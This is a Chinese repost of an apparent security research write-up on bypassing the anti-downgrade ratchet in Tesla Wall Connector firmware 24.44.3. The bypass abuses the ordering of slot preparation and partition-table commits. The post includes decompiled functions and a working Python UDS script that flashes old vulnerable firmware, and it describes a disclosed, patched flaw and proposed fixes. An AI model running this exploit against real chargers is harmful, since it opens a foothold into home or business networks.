文章总结: 本文详细分析了特斯拉壁挂式充电桩固件24.44.3中引入的安全棘轮机制漏洞。研究人员发现反降级检查仅存在于更新器而非引导加载器中,通过利用槽位准备、验证和分区表更新的顺序问题,先写入合法固件骗取分区表提交后擦除同槽,再灌入旧版漏洞固件即可绕过防护。该方法成功复活了Pwn2Own攻击链,文章还提供了具体的利用代码并建议特斯拉在引导加载器中强制校验棘轮或更新后强制重启以修复漏洞。 综合评分: 87 文章分类: 漏洞分析,IoT安全,红队,渗透测试,应急响应
从充电端口入侵特斯拉壁挂式充电桩(二):绕过反降级
幻泉之洲
2026年5月14日 13:48 北京
在小说阅读器读本章
去阅读
特斯拉在24.44.3固件中加入了安全棘轮来阻止降级攻击,但这个检查只存在于更新器而不在引导加载器里。我们利用槽位准备、验证、写分区表的顺序问题,先写入合法固件骗取分区表提交,再擦除同槽灌入旧版漏洞固件,重启后引导加载器照单全收。全程没触发过一次棘轮校验,Pwn2Own的利用链直接复活。
这是那种你一个人、一杯咖啡、一个IDA窗口、零语言模型帮助,手工挖出来的漏洞。还记得那些日子吗?
更新流程回顾
在之前的一篇文章中[1],我们详细分析了通过单线CAN(SWCAN)对三代特斯拉壁挂式充电桩的攻击链。关键步骤就这几步:
- 打开UDS会话(类型2)。
- 用Security Access(级别5,XOR-0x35算法)认证。
- 运行例程0xFF00准备并擦除被动槽位。
- 向标识符0x102写入0x0E,将该槽位标记为“可通过UDS设置”。
- 用Request Download / Transfer Data / Request Transfer Exit把固件推进去。
- 运行例程0x201校验新刷的固件并切换槽位。
- 运行例程0x202重启。
AW-CU300模块有两个固件槽:一个活跃(当前运行),一个被动(更新目标)。更新成功后槽位翻转,新固件在下次启动时生效。
24.44.3加了什么料
用旧固件和新版diff之后,我们把焦点放在switch_to_new_firmware()这个函数上,它负责处理UDS例程0x201:
int switch_to_new_firmware() { … if ( settable_via_uds != 14 || !passive_firmware ) return 1; if ( passive <= 0 || passive > passive_firmware->size || (v2 = check_signature(passive_firmware->start, passive)) != 0 || !check_image_and_antidowngrade(nullptr) ) { part_erase(flash_drv, passive_firmware->start, 0x14u); v2 = 4; } else { part_write_layout(passive_firmware); } flash_drv_close(flash_drv); passive_firmware = nullptr; return v2; }
check_image_and_antidowngrade()是新增的。它会解析固件段,重算CRC,然后调用verify_firmware_segments_platform()对比棘轮值:
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, …) { … // 遍历段,寻找加载到[0x100000 .. 0x100010]区间的版本描述符 … if ( buffer.next != (netif *)’NSRV’ /* “VRSN” */ ) goto next_segment;
major = LOBYTE(buffer.ip_addr.addr); minor = BYTE1(buffer.ip_addr.addr);
if ( buffer.netmask.addr == ‘2SRV’ /* “VRS2” */ && LOBYTE(buffer.gw.addr) > 1u ) firmware_ratchet = BYTE2(buffer.gw.addr); else firmware_ratchet = 0; …
sub_1F04866C(¤t_ratchet); // 从PSM(持久化存储)读棘轮
if ( current_ratchet <= firmware_ratchet || !call_psm_wrapper(…) ) { return 0; // 接受 }
log(“Failure: Security ratchet downgrade prevented %d < %d”, firmware_ratchet, current_ratchet); return -1; }
版本信息嵌在固件段里(VRSN标记放版本号,VRS2放棘轮值),就在加载到0x100000附近的段中。只有更新器会解析这些东西,引导加载器不碰。设备侧的棘轮值存在PSM里,遇到更高棘轮的镜像被激活时会自增。
所以在24.44.3的设备上,如果你把旧版0.8.58固件塞进去然后调例程0x201,只会得到:
ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N
然后槽位立刻被擦掉。走官方路径想留一个旧镜像在flash里?门都没有。
Bootloader才不管这些
boot2驻留在flash固定地址,不在特斯拉任何一次固件更新包内。我们用之前Pwn2Own刷root过的设备dump了flash才分析到它。
它在跳转到活跃固件前确实会做几项检查:魔法头(SBFH)、逐段CRC32、用密钥库里的密钥验RSA签名。但它对安全棘轮一无所知。只要签名合法、CRC正确,任何版本的固件都能跑起来,boot2和bootrom都没实现安全启动。所以反降级完全由switch_to_new_firmware()这一小段代码在调用例程0x201那一刻强制执行。
那么问题来了:能不能在不调用例程0x201的前提下,把一个带签名的旧固件弄进活跃槽位?
一个槽位是怎么变成活跃的
例程0xFF00调用prepare_passive_slot(),它根据当前启动标志选择哪个物理槽作为被动槽,然后擦掉它:
int prepare_passive_slot(int a1, int a2, int a3) { … if ( part_read_layout(a1, a2, a3) || (f1 = part_get_layout_by_id(1, &v7), f2 = part_get_layout_by_id(1, &v7), !f1) || !f2 ) { passive_firmware = nullptr; __und(0xFFu); }
if ( (g_boot_flags & 3) != 0 ) // 从槽1启动? f2 = f1; // 那么被动槽就是槽0
passive_firmware = f2; … if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 ) … return 0; }
part_get_layout_by_id()是个迭代器:第一次调用返回第一个id=1的分区项,第二次调用返回下一个。取决于g_boot_flags,其中一个会成为被动槽。
关键在这里:g_boot_flags在启动时设定后就再也没更新过。它反映的是我们是从哪个槽启动的,而不是分区表当前的内容。
part_write_layout()负责翻转槽位,但它根本不碰固件数据,只在分区表上做文章——把对应槽的代数计数器加1:
int part_write_layout(partition_entry *a1) { … if ( /* a1 matches f1 */ ) v3->gen_level = v4->gen_level + 1; else if ( /* a1 matches f2 */ ) v4->gen_level = v3->gen_level + 1; else return -23;
// 擦除并重写4KiB的分区表区域 part_erase(v8, partition_table_addr, 0x1000); flash_write(v8, &dword_129B7C, 16); flash_write(v8, byte_1299FC, 24 * word_129B82); flash_write(v8, &checksum, 4); … }
启动时,引导加载器选择gen_level最高的那个槽。换句话说,要让一个槽在下次启动时变成活跃的,你只需要让part_write_layout()在那个槽上成功执行一次。之后槽里再被写什么垃圾,已经不重要了。
绕过方法
理一下:例程0xFF00根据永不改变的g_boot_flags擦除物理被动槽;例程0x201校验槽位内容然后写分区表;引导加载器只看分区表,不碰棘轮。
那么攻击序列就出来了:
- 把一个合法的最新固件推到被动槽,调用例程0x201。校验通过,分区表被写入,这个槽的gen_level变成最高。
- 不要重启,马上再调一次例程0xFF00。因为g_boot_flags没变,同一个物理槽再次被选为被动槽,刚刚还合法的固件被直接擦掉,分区表纹丝不动。
- 把那个带签名但满身漏洞的老固件推到已经空了的槽里。
- 跳过例程0x201(我们已经不需要它了,而且它一定会拒绝旧镜像),直接调例程0x202重启。
重启时,引导加载器读分区表,挑gen_level最高的槽(正是我们重写过的那一个),验签(旧固件签名仍然有效),然后跳过去执行。在整个过程中,反降级检查根本没对旧镜像运行过。
利用代码
我们的exp只是在Pwn2Own汽车模拟器基础上稍稍扩展了一下。SWCAN配置、GPIO时序、UDS管道全都没改,只有更新序列翻了一倍:
with Client(conn, config=uds_config) as client: client.set_config(‘security_algo’, tesla_uds_algo) client.change_session(2) client.unlock_security_access(5)
# 1. 推送合法最新固件,让例程0x201替我们写分区表 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open(“firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin”,”rb”).read() send_firmware_data(client, data) client.routine_control(routine_id=0x201, control_type=1) # 提交布局 sleep(1)
# 2. 重新准备同一个物理槽。合法固件被擦除;分区表原封不动 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open(“firmwares/WC3_PROD_OTA_08.58.bin”,”rb”).read() send_firmware_data(client, data) sleep(1)
# 3. 重启。引导加载器会按分区表启动旧固件 client.routine_control(routine_id=0x202, control_type=1)
在33.3 kbps的SWCAN总线上运行一遍大概要半小时,是原版Pwn2Own时间的两倍——毕竟要用那根充电线传两份完整固件进去。重启之后,版本号退回到0.8.58,剩下的原始攻击链(UDS泄露Wi-Fi凭证、Telnet进调试shell、参数解析器里的缓冲区溢出)照常工作。
结语
反降级只活在更新器里,引导加载器不看棘轮,这就注定了只要先骗分区表提交再覆写槽内容,它就一定被绕过去。例程0xFF00正好让我们可以这么干:布局写完后擦固件,再写入任意内容。
堵上这个口子的办法不是没有:让引导加载器也强制校验棘轮;或者让例程0xFF00在擦除槽位时把分区表对应条目无效掉,保证擦过一次又被重写的槽永远不能成为启动槽;再或者简单点——更新成功后强制重启一次,或者一旦例程0x201跑通就拒绝后续任何新更新会话。
我们已经把这个漏洞报给了特斯拉,对方几个月前通过固件更新把它修掉了。和第一篇里聊的一样,壁挂式充电桩通常接在家庭或企业的网络上,一根充电线就能拿下的充电器会变成内网的立足点。好的一面是,特斯拉对联网充电器的OTA自动推送让补丁可以很快覆盖多数设备,实际的窗口期被大大缩短。
David Berard 于 2026年5月12日。原文链接:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2
参考资料
[1] https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector
[2] https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《从充电端口入侵特斯拉壁挂式充电桩(二):绕过反降级》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论